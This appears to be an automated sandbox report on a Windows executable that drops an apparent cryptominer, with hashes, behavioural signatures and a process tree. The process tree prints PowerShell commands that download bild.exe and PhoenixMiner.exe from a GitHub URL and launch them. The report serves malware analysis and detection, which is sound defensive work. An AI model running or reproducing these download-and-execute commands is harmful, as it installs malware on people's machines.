Analysis
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max time kernel
85s -
max time network
128s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
14-08-2022 23:44
Static task
static1
Behavioral task
behavioral1
Sample
3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe
Resource
win10v2004-20220812-en
General
-
Target
3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe
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Size
8.3MB
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MD5
9ed9ad87a1564fbb5e1b652b3e7148c8
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SHA1
0c001b7e9615cbc22eac2a324d8deb7eaf069ff7
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SHA256
3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89
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SHA512
e49e403a73ff1d10111d23cc70ae95ffae63abbc4a52cfc52c447ee9f15e76ab44f07d0f41e3b3e63a73a07e7748b8ac7ed8c997f1051a10ca5fad1dace4183a
Malware Config
Extracted
https://raw.githubusercontent.com/jkh36/d/main/bild.exe
https://raw.githubusercontent.com/jkh36/d/main/PhoenixMiner.exe
Signatures
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Executes dropped EXE 1 IoCs
Processes:
PhoenixMiner.exepid process 3536 PhoenixMiner.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation 3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
PhoenixMiner.exedescription ioc process Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce PhoenixMiner.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" PhoenixMiner.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 4860 powershell.exe 4860 powershell.exe 2044 powershell.exe 2044 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 4860 powershell.exe Token: SeDebugPrivilege 2044 powershell.exe -
Suspicious use of WriteProcessMemory 9 IoCs
Processes:
3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exePhoenixMiner.exedescription pid process target process PID 2596 wrote to memory of 3536 2596 3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe PhoenixMiner.exe PID 2596 wrote to memory of 3536 2596 3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe PhoenixMiner.exe PID 2596 wrote to memory of 3536 2596 3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe PhoenixMiner.exe PID 3536 wrote to memory of 4860 3536 PhoenixMiner.exe powershell.exe PID 3536 wrote to memory of 4860 3536 PhoenixMiner.exe powershell.exe PID 3536 wrote to memory of 4860 3536 PhoenixMiner.exe powershell.exe PID 3536 wrote to memory of 2044 3536 PhoenixMiner.exe powershell.exe PID 3536 wrote to memory of 2044 3536 PhoenixMiner.exe powershell.exe PID 3536 wrote to memory of 2044 3536 PhoenixMiner.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe"C:\Users\Admin\AppData\Local\Temp\3cc33ce58536242bc9b2029cd9475a287351a379ccbd12da6b8b7bf2cc68be89.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2596 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\PhoenixMiner.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3536 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command Import-Module BitsTransfer; Start-BitsTransfer -Source https://raw.githubusercontent.com/jkh36/d/main/bild.exe,https://raw.githubusercontent.com/jkh36/d/main/PhoenixMiner.exe -Destination lWr.exe,ck.exe;3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4860 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command Start-Process lWr.exe; Start-Process ck.exe;3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2044
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
-
Filesize
2KB
MD5b6deac3351c943410eafe90bc93687c8
SHA134ff10b6e186ff6f7b6f39ebb127ee137ade5589
SHA2561775d61fb6831a2c572bb51d5772952ee13bbee68bde0367546bb04811a70f0a
SHA5123e025c20277dff003fe09afa2a9014d2fe42761bec935f7d7eb917ddb5b8760d5e3bc643e81d28fa7352c398cbdffcc0dbb5302e7fc6b97969387a3ef313b880
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Filesize
19KB
MD5be8d3d727d0b7f29b2887b4a56bc4769
SHA17206d2bcf0f03be49994039d29cf5639c2c31e1a
SHA256a89667451c4b5790a908dc451fb77c4d450fb9092bc7a301df07135ad56d9dc1
SHA512cb4203ff82a799080fb44cde3c79385fcb5823239b096489323220b5d21e4ddbb67560194357edfa8d7c2b7146ed46835befa08771cb3d6df714eceb339d0d0b
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Filesize
8.2MB
MD5c74ab76362f2321b7143e8ba2517c16b
SHA16b4c65e2b1ba59d155c5d453285fae4d3e52b2a6
SHA256938cb901511ceac91acd8b1eaadabd01688852ed1121250b1c5e587f9ee0512f
SHA5122a506ba53d4dc837bfabee920617fddc2152fb0a474f6a197086c6ce1aadf7b1f1bc64e8d27b9759cdd567675273c99f6af29c61e9a6c5184171336a1a869a17
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Filesize
8.2MB
MD5c74ab76362f2321b7143e8ba2517c16b
SHA16b4c65e2b1ba59d155c5d453285fae4d3e52b2a6
SHA256938cb901511ceac91acd8b1eaadabd01688852ed1121250b1c5e587f9ee0512f
SHA5122a506ba53d4dc837bfabee920617fddc2152fb0a474f6a197086c6ce1aadf7b1f1bc64e8d27b9759cdd567675273c99f6af29c61e9a6c5184171336a1a869a17